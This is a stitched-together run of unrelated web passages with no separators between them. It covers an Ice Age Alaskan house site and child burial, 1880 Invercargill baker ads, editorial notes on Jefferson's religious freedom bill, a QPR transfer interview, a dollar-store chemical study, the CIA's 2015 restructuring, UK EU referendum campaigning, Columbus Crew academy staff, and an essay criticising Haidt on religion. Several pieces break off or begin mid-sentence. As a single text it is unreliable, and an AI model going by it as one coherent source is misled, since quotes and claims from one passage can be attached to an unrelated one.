Something Fishy About Ice Age Cremation Site
Now that an Ice Age Alaskan home has been found, scientists are poised to unlock secrets of how early North Americans lived and behaved, said Goebel, of Texas A&M University's Center for the Study of the First Americans.
It's already clear the residents had a taste for salmon—the remains of about 300 of the fish were found in the pit.
In addition to remains of young ground squirrels, the salmon are among evidence that the house was a summer residence for a seminomadic people. Both animals are abundant in the warmer months.
Previous evidence of dwellings had been associated with temporary camps in areas that would have been frequented in the fall, according to the study, to be published tomorrow in the journal Science.
Located amid boreal forests along the Tanana River (map), the new home site "paints a much broader picture of how these peoples used all the major species in the landscape," said study co-author Potter.
"We picture these people as foragers hunting large game, like bison or elk. But the fishing element is kind of new, and it's kind of striking that there are so many fish."
The apparent seasonal pattern of hunting and fishing, Potter added, is similar to that practiced by later Alaska natives.
Human Remains to Yield DNA?
A local Native Alaskan community, the Healy Lake Tribe, has named the Ice Age child Xaasaa Cheege Ts'eniin, or Upward Sun River Mouth Child, after the native name for the site.
Several native groups are working closely with the archaeologists, and some have expressed interest in comparing their own DNA with that of the child to help paint a clearer picture of the child's ancestry and perhaps of their own.
Already, a preliminary study of the child's teeth suggests he or she is biologically affiliated with both Native Americans and with Northeast Asians.
Though the specifics are hotly debated, it's generally believed that the first Americans migrated across the long-gone Bering Strait land bridge from Siberia about 13,000 years ago.
(See our interactive atlas of ancient human migrations.)
Study co-author Irish, a bioarchaeologist at the University of Alaska Fairbanks, noted that some of the site's stone artifacts, construction style, and animal remains recall those found in today's Siberia.
They're particularly reminiscent, he said, of Siberia's Ushki Lake. At that roughly 14,000-year-old site, excavations have revealed a culture that has some parallels with later Native American cultures. Ushki is also home to the only other known burial site of this era in the vicinity of the Bering land bridge, also called Beringia.
"The Alaskan record looks much more like Siberia or the Russian Far East record than it does anything in the lower 48" U.S. states, study co-author Potter added.
Texas A&M's Goebel, who's worked at Ushki Lake, said such similarities can be found in many cultures of the ancient north, so he doesn't consider the parallels proof that the two cultures are tied.
DNA could clear up the picture considerably, and the ancient child's remains offer an unprecedented opportunity. (Related: "First Americans Arrived Recently, Settled Pacific Coast, DNA Study Says.")
"We're really interested in using the record from Alaska to define how the first Ice Age humans crossed the Beringia land bridge," Goebel said.
"But with no [human remains] we've never been able to say who those people were, what they looked like, and how they might be related to other populations.I ran across this little series of ads, below, by chance whilst looking into Hudson’s (the famous biscuit and chocolate brand) and found them quite amusing.
In them, two rival Invercargill bakers go at each other over a perceived trademark infringement; duelling in ink on newsprint rather than with the sword. Well, they do say the pen is mightier. If it was today there would be high-powered lawyers involved, adjusting their silk designer ties (or over-size pearls, if it were Gloria Allred) before stepping up to the mike to address the press with a statement outside the court for whichever major foodstuffs corporation they happened to be representing in the battle. Because nothing is small any more. But back then in simpler times – yet more unusual circumstances perhaps – they chose to take public pot-shots at each other in the local newspaper, to settle their beef.
What amounted to a particular name stamped onto the finished product was a bone of contention for these two early Invercargill bakers. Of course in the Nineteenth Century, and well into the Twentieth – the moniker “Excelsior” was up there with Lion, Acme, Peerless and Anchor et al as the most worn out, ubiquitous product names. For example, there were over time, and possibly even at the same time, at least four or even more different brands of biscuits with this name.
Gallacher vs. Booth: Southland Times,8 September, 1880.
a
The three ads all ran on the same page in the same column, of the same issue which gives rise to the question – how had A. F. Gallacher known about J. C. Booth’s ad prior to publishing, in order to respond? It did flash across my mind that it may have been a stunt, and did a journalist at the paper perhaps have a helping |
Collection of All the Laws of Virginia description ends xii, 84–6. The engrossed MS copy of the Act, on parchment, is in Vi (photostat in TJ Editorial Files); the text in Hening agrees with this authoritative text and also with the text of the official printing in the session laws of Oct. 1785 (Acts passed at a General Assembly of the Commonwealth of Virginia, Richmond: Dunlap and Hayes [1786], p. 26–7). For various contemporary printed texts, see note below. Since the printed text of 1779 is reproduced in facsimile in this volume, the text of the Report description begins Report of the Committee of Revisors Appointed by the General Assembly of Virginia in MDCCLXXVI, Richmond, 1784 description ends has been followed here so that the slight variations in punctuation and spelling can be noted. The texts of both the 1779 broadside and the 1784 Report description begins Report of the Committee of Revisors Appointed by the General Assembly of Virginia in MDCCLXXVI, Richmond, 1784 description ends are obviously different from the MS as TJ would normally have written it, the former employing such spellings as “honours,” “labour,” &c., and the latter being punctuated in an erratic manner. These variations may be attributed to copyists’ or printers’ errors. These two texts are the closest we can get to TJ’s original, but there is little to choose between them: the most that can be said is that the 1779 broadside is the earliest known text. Those parts of the Bill that were deleted by amendment are printed in italic type; it is important to note that this device is employed only as a graphic means of showing at a glance the changes made by the General Assembly and that the text as printed in Report description begins Report of the Committee of Revisors Appointed by the General Assembly of Virginia in MDCCLXXVI, Richmond, 1784 description ends, p. 58–9, is entirely in roman type and should, for ordinary purposes, be so quoted.
For a good summary and background of TJ’s attitude toward the established Church, dissenting groups, and the relationship of church and state, see Malone, Jefferson, i, 274–80. This Bill, which TJ ranked with the Declaration of Independence, might indeed be considered as a necessary consequence of it: as the Declaration of Independence asserted the natural right of a people to choose any form of government conducive to their safety and happiness, so the Bill for Establishing Religious Freedom asserted the natural right of a person to choose his beliefs and opinions free of compulsion. In this sense the famous preamble to TJ’s Bill provided philosophical justification, as of natural right, not merely for the ideas of religious toleration and separation of state and church but also for the right of the individual to complete intellectual liberty—“the opinions of men are not the object of civil government, nor under its jurisdiction.” TJ later asserted that the effort to disestablish the Church of England in Virginia and to establish religious freedom brought on “the severest contests” in which he had ever been engaged (see Notes and Proceedings on Discontinuing the Establishment of the Church of England, 11 Oct. to 9 Dec. 1776). The effort had resulted in 1776 in a compromise: TJ and his colleagues had failed to obtain repeal of all laws interfering with religious worship and, instead of disestablishing the Church, had only succeeded in exempting dissenters from levies made in behalf of the establishment. From 1776 to 1779 the General Assembly was assailed with petitions for and against further reform. The particular issue was whether the maintenance of churches should be left to voluntary contributions or whether “a general assessment should not be established by law, on every one, to the support of the pastor of his choice” (Autobiography, Ford, description begins Paul Leicester Ford, ed., The Writings of Thomas Jefferson, “Letterpress Edition,” N.Y., 1892–1899 description ends i, 54). The Bill for Establishing Religious Freedom, though TJ declared he had drawn it in 1777, was probably not brought forward in these years from 1776 to 1779 because the intense fight over the question of a general assessment made it difficult enough to hold the position that had been gained. However, on 4 June 1779, after TJ had been elected governor, the House ordered Harvie, Mason, and Baker to bring in a bill on this subject. TJ’s Bill was presented by Harvie on 12 June, the next day it passed the second reading, and the third reading was postponed to 1 Aug., which killed it for that session (JHD description begins Journal of the House of Delegates of the Commonwealth of Virginia (cited by session and date of publication) description ends, May 1779, 1827 edn., p. 34, 36, 44, 46).
There is no reference in the Journals of the House of Delegates to the printing of TJ’s Bill as introduced at the May 1779 session, but, though attributed to the year 1785 in the bibliographies of Sabin and others, it was printed in the summer of 1779 as a broadside under the title: “A BILL for establishing RELIGIOUS FREEDOM, printed for the consideration of the PEOPLE” (see facsimile reprint in this volume; see also Mazzei to TJ, 19 Mch. 1780). Whether this was done under the authority of the General Assembly or privately by TJ and other supporters of the Bill is not certain, but, though the General Assembly from time to time did print bills that were held over from one session to another so that they could be discussed by the people (e.g., see Bill for Giving the Members of the General Assembly an Adequate Allowance, 12 Dec. 1778), the available evidence seems to support the supposition that it was privately issued. For, if the General Assembly had authorized publication, there would seem to be no reason why such authorization should not have appeared in the Journals, as other similar authorizations did. Also, at the Oct. 1779 session there were several petitions for and against this particular Bill and two of them express doubt as to whether the publication was authorized by the General Assembly or not. A petition from Augusta county expressed approval of “the bill presented to the last Assembly, (and published, as they suppose, for the Consideration of the people) ‘for establishing religious freedom’” and prayed that it be enacted into law. Another petition from dissenters in Lunenberg county asserted that they had seen “a bill which they suppose was published by order of the last Assembly, ‘for establishing religious freedom’” (this petition, incidentally, supports TJ’s assertion that some of the dissenting groups, having gained their point in 1776, went over to the opposition and supported the idea of a general assessment; for the petition of the Lunenberg dissenters approved the Bill and at the same time prayed for the enactment of a general assessment). Other petitions from Essex and Amherst concerned the Bill but did not refer to the fact or. the method of its being printed (JHD description begins Journal of the House of Delegates of the Commonwealth of Virginia (cited by session and date of publication) description ends, Oct. 1779, 1827 edn., p. 20, 27, 32, 37). It seems obvious that, if this Bill had been printed under public authority, that fact would have been known to the petitioners and their memorials to the General Assembly would not, therefore, have expressed doubt on the point. For if the broadside had been printed by public authorization, it would no doubt have been transmitted as such by the clerk of the House or by the executive department. When the printing of The Report of the Committee of Revisors was authorized by the General Assembly in 1784, the resolution specifically directed that the pamphlet “be distributed throughout the several counties by the Executive, in such manner as they shall judge most conducive to the end proposed.” It is difficult to imagine what motive could have persuaded, or what means could have been employed by, the General Assembly to conceal its authorization of the printing of the broadside if, as on this and other occasions, its object was to have the Bill “printed for the consideration of the people.”
The effort to have Bill No. 82 passed separately at the May and Oct. sessions in 1779 was not successful. But in Oct. 1785 this Bill was one of two in the second half of the revisal brought up for consideration and the only one of these adopted (the other was Bill No. 79). Madison reported to Monroe on the day the Bill passed the House: “The Bill proportioning crimes and punishments was the one at which we stuck after wading thro’ the most difficult parts of it. A few subsequent bills however were excepted from the postponement. Among these was the Bill for establishing Religious freedom, which has got thro’ the H. of Delegates without alteration, though not without warm opposition. Mr. Mercer and Mr. Corbin were the principal Combatants against it” (Madison to Monroe, 17 Dec. 1785, Writings, ed. Hunt, ii, 205). This was something of an understatement. The Bill was introduced by Madison 31 Oct. 1785, read twice, and referred to the committee of the whole. It was debated and amended by the committee on 15 Dec., and this amendment, which has not been identified, was approved by the House the next day. At the same time another amendment was proposed—that is, that the whole of TJ’s preamble be struck out and the following substituted therefor: “Whereas, it is declared by the Bill of Rights, ‘that religion, or the duty which we owe to our Creator, and the manner of discharging it, can be directed only by reason and conviction, not by force or violence; and therefore, all men are equally entitled to the free exercise of religion, according to the dictates of conscience, and it is the mutual duty of all to practice christian forbearance, love and charity towards each other’” (JHD description begins Journal of the House of Delegates of the Commonwealth of Virginia (cited by session and date of publication) description ends, Oct. 1785, 1828 edn., p. 12–15, 93, 94, 95). When Madison reported on this Bill to TJ, 22 Jan. 1786, q.v., he mentioned the Senate’s effort to accomplish the same amendment, but did not refer to that attempted earlier in the House. As an indication of the importance attached to this whole question, it is worth noting that the ayes and noes on this amendment were recorded in the Journals. The amendment failed by a vote of 38 to 66.
On 17 Dec. a motion was made to postpone the third reading of the engrossed Bill until the Oct. session 1786, but this was defeated. The Bill was thereupon read the third time, put to a vote, passed by a majority of 74 to 20, and transmitted to the Senate. The ayes and noes were ordered to be recorded. Those voting in favor of the Bill were: Joshua Fry, Wilson Cary Nicholas, Joseph Eggleston, Samuel Jordan Cabell, Zachariah Johnston, Michael Bowyer, John Trigg, Robert Clark, George Hancock, Archibald Stuart, William Anderson, Hickerson Barksdale, John Clarke (Campbell), Samuel Hawes, Anthony New, John Daniel, Henry Southall, French Strother, Henry Fry, William Gatewood, Meriwether Smith, Charles Simms, David Stuart, William Pickett, Thomas Helm, Christopher Greenup, James Garrard, George Thomson, Alexander White, Charles Thruston, Thomas Smith, George Clendennin, John Lucas, Jeremiah Pate, Ralph Humphreys, Isaac Vanmiter, George Jackson, Nathaniel Wilkinson, John Mayo, Jr., John Rentfro, William Norvell, John Roberts, William Dudley, Thomas Moore, Carter Braxton, Benjamin Temple, Francis Peyton, Christopher Robertson, Samuel Garland, Benjamin Logan, David Scott, William Pettijohn, Robert Sayres, Daniel Trigg, William Hartwell Macon, Griffin Stith, David Bradford, James Madison, Charles Porter, William Harrison, Benjamin Lankford, John Clarke (Prince Edward), Richard Bibb, Cuthbert Bullitt, Daniel Carroll Brent, Williamson Ball, Andrew Moore, John Hopkins, Gawin Hamilton, Isaac Zane, John Tayloe, John Whittaker Willis, Andrew Kincannon, and James Innes.
Those who voted against the Bill were: Thomas Claiborne, Miles King, Worlich Westwood, John Page, Garland Anderson, Elias Wills, William Thornton, Francis Corbin, Willis Riddick, Daniel Sandford, John Gordon, Edward Bland, Anthony Walke, George Lee Turberville, William Garrard, John Francis Mercer, Carter Bassett Harrison, Richard Cary, Jr., Wilson Cary, and Richard Lee.
The Senate amended the Bill and returned it to the House on 29 Dec.; this was precisely the same amendment that had been offered in the House two weeks earlier. This time the amendment failed of adoption by a vote of 35 to 56, a vote that, like the earlier one, reflected opposition to the preamble rather than to the Bill; for the vote in favor of the Bill on 17 Dec. included some (e.g., such a conservative as Carter Braxton) who voted in favor of the amendment on 29 Dec. There was, on the other hand, almost no shifting of position among those whose names are recorded as voting on the amendment on both 16 Dec. and 29 Dec.: Francis Peyton voted in favor of it on the former date and against it on the latter; Anthony New and John Prunty voted against it at first and then for it.
The Senate on 9 Jan. 1786 insisted on its amendment and requested a free conference on the subject of its amendment, to which the House agreed. The managers met on 12 Jan. 1786. The Senate’s “objections [to the preamble],” wrote Madison, “were frivolous indeed. In order to remove them as they were understood by the Managers of the H. of D. the preamble was sent up again from the H. of D. [on 13 Jan.] with one or two verbal alterations. As an amendment to these the Senate sent down a few others, which as they did not affect the substance though they somewhat defaced the composition, it was thought better to agree to than to run further risks, especially as it was getting late in the Session and the House growing thin. The enacting clauses past without a single alteration, and I flatter myself have in this country extinguished for ever the ambitious hope of making laws for the human mind” (Madison to TJ, 22 Jan. 1786; JHD description begins Journal of the House of Delegates of the Commonwealth of Virginia (cited by session and date of publication) description ends, Oct. 1785, 1828 edn., p. 12–15, 93, 94, 95, 96, 115, 117, 134, 135, 138, 139, 143–4, 148). The amendments offered by the Senate, and agreed to by the House on 16 Jan. 1786, are indicated in notes 1, 2, and 4; other amendments made either in the House or Senate are indicated in notes 7, 8, 9, and 11.
Madison and others thought these amendments rendered “the style less elegant, though the sense is not affected” (Hening, description begins William W. Hening, The Statutes at Large; Being a Collection of All the Laws of Virginia description ends xii, 84). But Malone (I, 279) is quite correct in saying that these amendments deleted “some of the more sweeping statements about the supremacy and illimitability of reason; and, as a result, the statute did not rest on quite so broad a base as the one its author had designed.”
Ironically, due to TJ himself, it was the text neither of the Bill as originally submitted nor of the Act as finally adopted that was in his day and subsequently most generally accepted as “The Act for Establishing Religious Freedom.” In 1776 TJ had revealed his desire to have the world, or at least some of his friends and political associates, know the text of the Declaration of Independence as he had drafted it, and he had sent out several copies that he had laboriously copied by hand. But his pristine text was not printed at all until more than a quarter of a century had elapsed and it never came close to achieving the popularity enjoyed by the text as adopted by Congress. But the Bill for Establishing Religious Freedom fared differently: its full text as drafted by TJ was put into type six years before its altered version was enacted into law. What was more important, TJ, being in France at the time his Bill was adopted, saw to it that the famous declaration was widely distributed. It was not mere pride of authorship but pride of country as well that led him to obtain publication in Europe: “it is honorable for us,” he wrote Madison, “to have produced the first legislature who has had the courage to declare that the reason of man may be trusted with the formation of his own opinions” (TJ to Madison, 16 Dec. 1786); in the same letter TJ reported that the Act “has been received with infinite approbation in Europe and propagated with enthusiasm”; that it had been translated into French and Italian, had been sent to most of the courts of Europe, had been inserted in the Encyclopédie méthodique, was appearing in most of the publications respecting America, such as those of Brissot, Clavière, and Mazzei; and that it had “been the best evidence of the falshood of those reports which stated us to be in anarchy.” Though his motive in promoting publication in Europe was elevated, TJ nevertheless took unwarranted liberties with the authoritative text of this immortal statute, as the following facts clearly prove.
Facsimiles of what TJ in the epitaph that he later drew up referred to as “the Statute of Virginia for religious freedom” are to be found in TJ Editorial Files: (1) A BILL for establishing RELIGIOUS FREEDOM, I printed for the consideration of the PEOPLE. Williamsburg, 1779]. Broadside, Boston Public Library, Evans 19350, Swem, “Va. Bibliog.,” description begins Earl G. Swem, “A Bibliography of Virginia,” Virginia State Library, Bulletin, VIII, X, XII (1915–1919) description ends 7476, and Sabin 100041. (All three bibliographies, apparently assuming that the Bill was published under public authority in the fall of 1785 when the Bill was being debated, assign that date, the place as Richmond, and James Hayes, the public printer, as the printer. Since the Bill was undoubtedly printed in 1779, and was probably issued privately, this assignment should be changed as to place, printer and date, and probably as to publisher); (2) An ACT for establishing RELIGIOUS FREEDOM, I passed in the assembly of Virginia in the beginning / of the year 1786. [Paris, 1786]. Four-page pamphlet. Copy in PHi ; another that TJ sent to van Hogendorp was found by Dr. Howard C. Rice, Jr., in the Van Hogendorp papers, Rijksarchief, The Hague, Sabin 100342. This text, which was sent to various persons by TJ as a separate pamphlet, was also bound in as an appendix to some copies of the first edition of Notes on Virginia. It was later included as an appendix to the 1787 Stockdale edition, the 1788 (first American) edition printed in Philadelphia by Prichard and Hall, and in subsequent editions of the Notes. The text of (5) below derives from one of these editions. (3) Acte de la République de VIRGINIE, / qui établit la liberté de Religion. [Paris, 1786]. Fourpage pamphlet, probably printed by Philippe-Denys Pierres (see Ford, description begins Paul Leicester Ford, ed., The Writings of Thomas Jefferson, “Letterpress Edition,” N.Y., 1892–1899 description ends ii, 237). Copy in NN ; another found by Dr. Rice in Van Hogendorp papers, Rijksarchief, The Hague, Sabin 100342; (4) An ACT for establishing RELIGIOUS / FREE- / DOM, passed in the Assembly / of Virginia in the beginning of the year 1786 / [rule] / Acte de la République de VIRGINIE, / qui établit la liberté de Religion, passé / à l’assemblée de la Virginie au commen- / cement de l’année 1786. [Paris, 1786]. Eight-page pamphlet found by Dr. Rice, in the Bibliothèque de l’Institut de France, Paris, Sabin 100344; (5) REPUBLICAN NOTES / on / RELIGION; / AND, / an ACT ESTABLISHING RELIGIOUS FREEDOM, passed in the ASSEMBLY of / VIRGINIA, in the YEAR 1786. / [rule] / BY THOMAS JEFFERSON, ESQUIRE, / president of the united states. / [rule] /[ornament] / DANBURY: /printed by THOMAS ROWE. / 1803. Twelvepage pamphlet containing extracts from Query xvii, Notes on Virginia and (p. 9–11) the text of “An ACT for establishing RELIGIOUS FREEDOM, / passed in the Assembly of Virginia, in the beginning / of the Year 1786,” Sabin 35914. This text, as well as the title, obviously derives from that described under (2) above. These various contemporary versions are referred to in the notes below as Text (1), Text (2), &c.
A glance at Texts (2) to (5) above is sufficient to show that they are not derived from the broadside of 1779, or from the Report description begins Report of the Committee of Revisors Appointed by the General Assembly of Virginia in MDCCLXXVI, Richmond, 1784 description ends of 1784, or even from the printed session laws of 1785. They are, in the points noted below, at variance with both the Bill and the Act. All of the English texts described above, excluding Text (1) of course, agree. All of the French texts, which vary from the English texts in one important particular but possibly were derived from one of them, agree with each other. Clearly TJ had before him a copy of the Act as adopted when he prepared this English version of 1786; it is equally clear that he also had at hand a copy of the Bill when he produced this curious hybrid text whose stemma embraced those of both Bill and Act. The following variations are to be noted. First, English Texts (2), (4), (5) do not begin, as the Act does, with the phrase “Whereas Almighty God hath created the mind free” but, as the amended Bill does, with the words “Well aware that Almighty God hath created the mind free.” This incorporates part of the amendment indicated in note 1, below, but also restores part of the deleted initial phrase of the Bill. The French texts agree with the English in this variant reading. Second, the deletions made by amendments to the Bill as described in notes 2, 4, and 9 below are all followed in English and French Texts (2) to (5), since none of these texts contains any of the words or clauses deleted in these places or their equivalent. Third, English Texts (2), (4), (5) agree with the Bill rather than the Act as adopted by including the word “very” at the point indicated in note 8, below. Finally and curiously, French Texts (3) and (4) agree with the Bill rather than with the Act in the phraseology of the enacting clause (see note 10, below), reading: “Nous, l’Assemblée générale de Virginie, établissons pour loi‥‥” The English Texts (2), (4), and (5), however, read as follows: “Be it therefore enacted by the General Assembly ‥‥” which is neither the text of the Bill nor that of the Act as adopted (the latter does not contain the word “therefore”). Ironically, TJ himself, by accepting in part the enacting clause agreed upon by the General Assembly and by retaining the opening words (“Well aware that”) of his Bill, did grammatical and structural violence to his great declaration of intellectual and spiritual freedom. It is inexplicable that the English Texts (2), (4), and (5) should have had this fault, and that the French Texts (3) and (4) should not have. The long French preamble beginning “Convaincus que le Dieu tout puissant a créé libre l’esprit de l’homme” is made grammatically and structurally sound when the enacting clause following it reads: “Nous, l’Assemblée générale de Virginie, établissons pour loi‥‥” But the preamble of English Texts (2), (4), and (5) which begins “Well aware that Almighty God hath created the mind free ‥‥” is left dangling in mid-air, without a noun or pronoun to depend on, when its enacting clause, instead of following the Bill as TJ drew it with its stately “We the General Assembly do enact,” reads “Be it therefore enacted by the General Assembly.”
TJ’s hybrid English version of 1786, which is neither precisely that of the Bill nor that of the Act, unfortunately triumphed over the more elevated style of the former and over the legally more correct form of the latter. This version, with its unhappily dangling preamble, became established in America by the 1788 edition of the Notes on Virginia. The H. A. Washington edition of TJ’s Writings unfortunately carried the hybrid text, and even the title given it in 1786—“An Act for establishing Religious Freedom, passed in the Assembly of Virginia in the beginning of the year 1786.” The Commonwealth of Virginia could go on publishing the authoritative version (e.g., The Code of Virginia, Richmond, 1849, p. 358–60); and Ford (ii, 237–9) could print the Bill as it was in the 1784 Report description begins Report of the Committee of Revisors Appointed by the General Assembly of Virginia in MDCCLXXVI, Richmond, 1784 description ends ; but when the most widely used edition of TJ’s papers (L & B description begins Andrew A. Lipscomb and Albert E. Bergh, eds., The Writings of Thomas Jefferson, “Memorial Edition,” Washington, 1903–1904 description ends ) repeated the incorrect text used in the Washington edition, that form became so firmly established that the authoritative or the original versions could never hope to displace it. Even scholarly editors of modern texts, such as Adrienne Koch and William Peden (The Life and Writings of Thomas Jefferson, New York, 1944, p. 311–13), continue to repeat the unhappy hybridization of errors that TJ propagated in 1786.For those QPR fans who don’t know him, who is Sebastian Polter?
He is a former German Under-21 international striker who for the past season has been playing at Union Berlin where he scored a goal every other game in the second tier of German football. He’s big, tall and strong and a very tidy finisher in the box. Considering QPR lost Bobby Zamora – although he is not a like for like replacement – it is probably a shrewd signing.
He’s 6’ 4” – you compare him to Zamora - are you saying he’s a target man?
It’s unfair to label him as that. Part of the reason Thomas Tuchel, who went on to be Dortmund boss, took him to Mainz two-years ago is because of his pace. He has that ability to play in different systems. It is definitely not a case of lumping it up to him and getting him to hold it up – he can offer something in a couple of systems.
So why has he decided to leave FSV Mainz 05 then?
It didn’t work out for him at Mainz as he didn’t get as much game time as he wanted. Clearly he has the potential and at QPR maybe it is time that he starts to fulfill that.
He was part of a rather underachieving Under-21 side at the European Championships in 2013 but he was scoring a lot and that is why Tuchel took the risk to bring him in at Mainz. The problem was that they played with one up front and that was Shinji Okazaki who scores goals for fun so there was no place for him in the team.
I remember covering the Under-21s in 2013 when Sebastian was at Wolfsburg and he said he wanted guaranteed first team football playing every week. That is clearly very important to him and that’s what he will be hoping to get at QPR.
How does the second tier of German football compare with the Championship?
There are big similarities between German and English football. I think at QPR he will have to step it up compared to what he was used to at Union Berlin. The playing style and standard of clubs involved is pretty similar. I think deep down he knows that moving to QPR from Union Berlin – although he has been on loan from Mainz in the Bundesliga – that compared to last season this is going to be a step up for him.
Finally, how will he adapt to the English game do you believe?
It is always an unknown. You can look at the statistics and the amount of goals someone scores but you never know how someone will do. However, given his playing style I think he could do very well. When you consider the fee for him that has been talked about and the value you are getting compared to an equivalent player in England then it looks like a very good deal.
Germans have generally done well when they’ve come over. Even players who have played in the Bundesliga have – look at Dimitar Berbatov when he first came here and Edin Džeko also has been a consistent player for Manchester City.
See also …According to a new study from The Campaign for Healthier Solutions, many of the dollar stores that make up the $36 billion industry contain products rampant with toxic chemicals often associated with birth defects, learning disabilities, and cancer. The study looked at over 164 products.
Here are the statistics they found:
81% of the products tested (133 of 164) contained at least one hazardous chemical above levels of concern compared to existing voluntary toy standards and mandatory toy, packaging and electronics standards.
38% of the products tested (63 of 164) contained the toxic plastic PVC (vinyl).
32% of vinyl products tested for phthalates (12 of 38) contained levels of regulated phthalates above the Consumer Product Safety Commission (CPSC) limit for children's products.
At least 71% of the products tested from each dollar store chain contained one or more hazardous chemicals above levels of concern.
ATTN: made a video recap here:
The Campaign for Healthier Solutions has over 100 organizations from across the United States on board with its mission, asking discount retailers to adopt more stringent and transparent policies about chemical use and disclosure — in addition to replacing the toxic chemicals in products with safer alternatives. And while some dollar store chains have taken initial steps by addressing and disclosing information about these toxic chemicals as far as the voluntary regulations dictate, it isn't comprehensive enough. A lack of disclosure does nothing more than keep the consumer uneducated and therefore unable to fully consider all the risks of the products they buy. Bigger chains like WalMart and Target have not only taken steps to apply stricter safety laws to their products, but they've gone even further than the requirements set forth by law (unlike their dollar store competitors).
The thing that makes it more frustrating, though? The fact that there would be far more outrage and response to the matter if these stores served communities that weren't low-income. And it's not like people in the lower classes don't already have enough to stress about, considering they're already disproportionately exposed to chemical hazards.The director of the CIA announced this week a major overhaul of the agency’s organizational structure ending the traditional separation between spies and analysts, while also creating a new division to handle cyberwarfare.
Director John Brennan officially announced the restructure to agency employees on Friday. Thousands of spies and CIA analysts will be reassigned to new posts, marking one of the most significant changes to the agency’s core structure in its 67-year history.
“Never has the need for the full and unfettered integration of our capabilities been greater,” Brennan said in a declassified statement to his employees.
Under the new model, spies and analysts will be integrated and assigned to 10 new mission centers, which, according to Brennan, “will bring the full range of operational, analytic, support, technical, and digital personnel and capabilities to bear on the nation’s most pressing security issues and interests.” Describing the new mission centers, Brennan said, “Assistant Directors will be accountable for integrating and advancing the mission — in all of its various forms — and for overall mission accomplishment in their respective geographic or functional area.”
The reorganization will allow the CIA to “cover the entire universe, regionally and functionally,” Brennan told reporters in a briefing earlier in the week.
Further details on the mandates of the mission centers were hard to come by — the CIA declined to provide additional briefing materials beyond the director’s prepared statements.
The New York Times reported that the centers will focus on “terrorism, weapons proliferation, the Middle East and other areas with responsibility for espionage operations, intelligence analysis and covert actions.” The Washington Post, meanwhile, reported that, “long-standing divisions focused on Africa, the Middle East and other regions will give way to centers of corresponding geographic boundaries. The Directorates of Intelligence and Operations — as the analysis and spying branches are known — will continue to exist, but function mainly as talent pools: recruiting and training personnel that can be deployed to the new centers.”
The fusing of analysts and operatives reflects the influence and power of the CIA’s Counterterrorism Center. Formerly a small, somewhat maligned office, the Counterterrorism Center emerged in the wake of the Sept. 11 attacks as the CIA’s premiere hunter-killer wing, directing lethal operations around the globe, including the agency’s highly controversial and secretive drone program.
In its effort to hunt down suspected terrorists, the Counterterrorism Center has fused thousands of analysts and spies under one umbrella of operations, a move Brennan has supported.
In his remarks Friday, Brennan also announced the creation of a new division called the Directorate of Digital Innovation, which will handle the CIA’s cyber-operations, taking on the responsibilities of two existing directorates — the Open Source Center and the Information Operations Center. The former monitors social media, while the latter conducts cyber-penetrations and attacks.
The new digital directorate will have significantly more leeway than both its predecessors, according Brennan. “What we need to do as an agency is make sure we’re able to understand all of the aspects of that digital environment,” he told reporters.
Defending his sweeping changes to the agency, Brennan compared the CIA to Kodak, the film company that folded in the face of digital technology. “Things just passed them by,” the spy chief said.“Climb the giant beef mountain… bathe in the nourishing wine lake… visit the Palace of Bureaucrats!” This “special holiday offer” for a tour of the follies of Europe’s common agricultural policy ran on the front of an anti-Brussels leaflet published ahead of the UK’s referendum in 1975 by the Amalgamated Union of Engineering Workers (AUEW). The AUEW and its allies argued that the European Community was a capitalist club whose governments bought up and destroyed food to raise prices for “housewives” while benefiting the “owners of the means of production,” like farmers. This was, in fact, correct – except for the capitalist part.
It went beyond food, however. Britain’s old socialists wanted to stop the development of a common market in Europe in order to keep capital locked in the UK. “The bankers and financiers want us [in the EU] so that they can shift their investment across the Channel, putting people out of work here,” stated another anti-EU leaflet, one of many now housed in the voluminous archives of the London School of Economics.
Much of the Left has now abandoned its hostility to the EU. But many of these protectionist instincts have re-emerged in the European referendum campaign, this time on the right. Yesterday, the Electoral Commission gave official designation to one of the two “No” campaigns, making it eligible for funding. The two No campaigns have offered radically different visions of what Britain would be like outside the EU. One is isolationist. If we do vote to leave in June, it is important that this vision doesn’t win.COLUMBUS – Columbus Crew SC today announced the addition of five new staff members to the Columbus Crew SC Academy. Led by new Academy General Manager Dennis Sanchez, the additions also include Rory Charcholla (Under-12 Academy Head Coach), Sergio Lozano (Director of Individual Development), Ben Cross (Under-18 Academy Head Coach) and Ethan Dewhurst (Academy Goalkeeper Coach).
Revamped in 2015, the Columbus Crew SC Academy aims to extend the club's soccer philosophy across all age levels and prioritizes a proactive style of play, player-first culture and focus on individual development. Under the direction of Sporting Director and Head Coach Gregg Berhalter, all Crew SC Academy teams feature the same style of play and training methodology as the First Team as well as the club’s focus on a player-first culture off the field.
“The quality of the Columbus Crew SC Academy is crucial to the long-term success of the First Team and we are confident that our new staff additions will aid in the development of talented soccer players here in Columbus, both on and off the field,” said Columbus Crew SC Sporting Director and Head Coach Gregg Berhalter. “The experience that Dennis, Rory, Sergio, Ben and Ethan are bringing to our Academy will be vital as we continue to implement our philosophy across all levels of our soccer organization.”
The new staff members are led by Sanchez, who takes over as Academy General Manager |
s of human sacrifice that we should now honor? Must we take care not to throw out the baby with the bathwater? Or might we want to eat that baby instead? Indeed, many of these societies regularly terminated their rituals of sacred murder with a cannibal feast. Is my own revulsion at these practices a sign that I view these distant cultures with the blinkered gaze of a colonialist? Shall we just reserve judgment until more of the facts are in? When does scientific detachment become perverse? When might it be suicidal?
Despite Haidt’s suggestion to the contrary, it actually matters what people believe. Most religious practices are the direct consequence of what people think is actually going on in the world. In fact, most religious practices only become intelligible once we understand the beliefs that first gave rise to them. The fact that some people have begun to doubt these doctrines in the meantime, while still mouthing the liturgy and aping the rituals, is beside the point. What religion, after all, is best exemplified by those who are in the process of losing it?
Haidt draws comfort from the fact that even biblical literalists occasionally yield to common sense and ignore their holy books. Of course they do: their holy books are not only bursting with ancient ignorance—they are actually self-contradictory. Is Haidt suggesting that there are no real religious fundamentalists out there at all, or that their numbers are negligible? According to a recent poll, thirty-six percent of British Muslims (ages 16-24) think apostates should be put to death for their unbelief. Just how much exculpatory sociology is Haidt inclined to do in this area so as to get Islam entirely off the hook? When is a belief system not only false, but so encouraging of falsity and needless suffering as to be worthy, not merely of our understanding, but of our contempt?
